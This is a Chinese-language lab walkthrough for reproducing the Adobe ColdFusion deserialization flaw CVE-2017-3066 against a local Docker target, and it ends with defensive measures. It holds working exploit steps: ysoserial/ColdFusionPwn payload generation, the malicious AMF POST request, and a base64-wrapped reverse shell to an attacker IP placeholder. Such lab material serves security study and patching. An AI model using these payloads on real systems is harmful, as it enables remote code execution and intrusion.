Adobe ColdFusion 反序列化漏洞复现(CVE-2017-3066)
字数 970 2025-08-15 21:32:58
Adobe ColdFusion 反序列化漏洞(CVE-2017-3066)复现指南
漏洞概述
Adobe ColdFusion是美国Adobe公司的一款动态Web服务器产品,其运行的CFML(ColdFusion Markup Language)是针对Web应用的一种程序设计语言。该产品存在Java反序列化漏洞(CVE-2017-3066),攻击者可利用该漏洞在受影响应用程序的上下文中执行任意代码或造成拒绝服务。
受影响版本
- Adobe ColdFusion (2016 release) Update 3及之前的版本
- ColdFusion 11 Update 11及之前的版本
- ColdFusion 10 Update 22及之前的版本
环境搭建
使用Docker快速搭建漏洞环境:
docker-compose up -d
等待数分钟环境启动完成后,访问:
http://your-ip:8500/CFIDE/administrator/index.cfm
使用默认密码vulhub完成安装。
漏洞复现
准备工作
-
下载必要的工具:
-
确保Java环境已配置
生成POC
1. 命令执行(写文件)
java -cp ColdFusionPwn-0.0.1-SNAPSHOT-all.jar:ysoserial-0.0.6-SNAPSHOT-all.jar \
com.codewhitesec.coldfusionpwn.ColdFusionPwner \
-e CommonsBeanutils1 'touch /tmp/success' poc.ser
2. 发送恶意请求
将生成的poc.ser作为请求体发送到目标服务器:
POST /flex2gateway/amf HTTP/1.1
Host: your-ip:8500
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-amf
Content-Length: 2853
[...poc.ser内容...]
验证命令是否执行:
docker exec -it [容器ID] ls /tmp
3. 反弹Shell
生成反弹Shell的POC(需要Base64编码命令):
# 先对反弹shell命令进行Base64编码
echo "bash -i >& /dev/tcp/攻击者IP/端口 0>&1" | base64
# 生成POC
java -cp ColdFusionPwn-0.0.1-SNAPSHOT-all.jar:ysoserial-master-SNAPSHOT.jar \
com.codewhitesec.coldfusionpwn.ColdFusionPwner \
-e CommonsBeanutils1 "bash -c {echo,xxxxxxxxxxxxxxxxxxxxxxx}|{base64,-d}|{bash,-i}" t.ser
发送生成的POC文件到目标服务器。
技术原理
该漏洞是典型的Java反序列化漏洞,攻击者通过构造恶意的序列化对象,利用Adobe ColdFusion的AMF(Action Message Format)端点进行反序列化操作时触发远程代码执行。
关键点:
- 漏洞利用的是Flex AMF端点(
/flex2gateway/amf) - 使用CommonsBeanutils1作为gadget chain
- 需要发送Content-Type为
application/x-amf的POST请求
防御措施
- 升级到Adobe ColdFusion最新版本
- 限制对
/flex2gateway/amf端点的访问 - 实施网络层防护,如WAF规则检测反序列化攻击
- 使用Java安全管理器限制反序列化操作